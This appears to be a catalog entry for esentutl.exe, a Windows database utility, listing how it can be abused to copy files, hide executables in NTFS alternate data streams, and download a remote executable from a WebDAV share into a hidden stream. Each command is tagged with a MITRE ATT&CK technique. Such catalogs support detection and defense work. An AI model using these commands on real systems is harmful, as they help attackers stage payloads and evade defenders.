2018-06-09 00:15:06 +02:00
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Name: Esentutl.exe
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2018-09-24 21:59:43 +02:00
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Description: Binary for working with Microsoft Joint Engine Technology (JET) database
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Author: 'Oddvar Moe'
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2018-06-09 00:15:06 +02:00
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Created: '2018-05-25'
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Commands:
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- Command: esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
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Description: Copies the source VBS file to the destination VBS file.
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2018-09-24 21:59:43 +02:00
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Usecase: Copies files from A to B
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Category: Copy
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Privileges: User
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MitreID: T1105
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MitreLink: https://attack.mitre.org/wiki/Technique/T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
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Description: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
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2018-09-24 21:59:43 +02:00
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Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
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2018-09-26 09:34:01 +02:00
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Category: ADS
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2018-09-24 21:59:43 +02:00
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Privileges: User
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MitreID: T1096
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MitreLink: https://attack.mitre.org/wiki/Technique/T1096
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
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Description: Copies the source Alternate Data Stream (ADS) to the destination EXE.
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2018-09-24 21:59:43 +02:00
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Usecase: Extract hidden file within alternate data streams
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2018-09-26 09:34:01 +02:00
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Category: ADS
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2018-09-24 21:59:43 +02:00
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Privileges: User
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MitreID: T1096
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MitreLink: https://attack.mitre.org/wiki/Technique/T1096
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
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Description: Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.
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Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
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2018-09-26 09:34:01 +02:00
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Category: ADS
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2018-09-24 21:59:43 +02:00
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Privileges: User
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MitreID: T1096
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MitreLink: https://attack.mitre.org/wiki/Technique/T1096
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
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Description: Copies the source EXE to the destination EXE file
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2018-09-24 21:59:43 +02:00
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Usecase: Use to copy files from one unc path to another
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Category: Download
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Privileges: User
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MitreID: T1096
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MitreLink: https://attack.mitre.org/wiki/Technique/T1096
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-12-10 14:28:12 +01:00
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Full_Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\esentutl.exe
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- Path: C:\Windows\SysWOW64\esentutl.exe
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2018-12-10 14:28:12 +01:00
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Code_Sample:
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2018-09-24 21:59:43 +02:00
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- Code:
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Detection:
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- IOC:
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://twitter.com/egre55/status/985994639202283520
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Acknowledgement:
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- Person: egre55
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Handle: '@egre55'
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---
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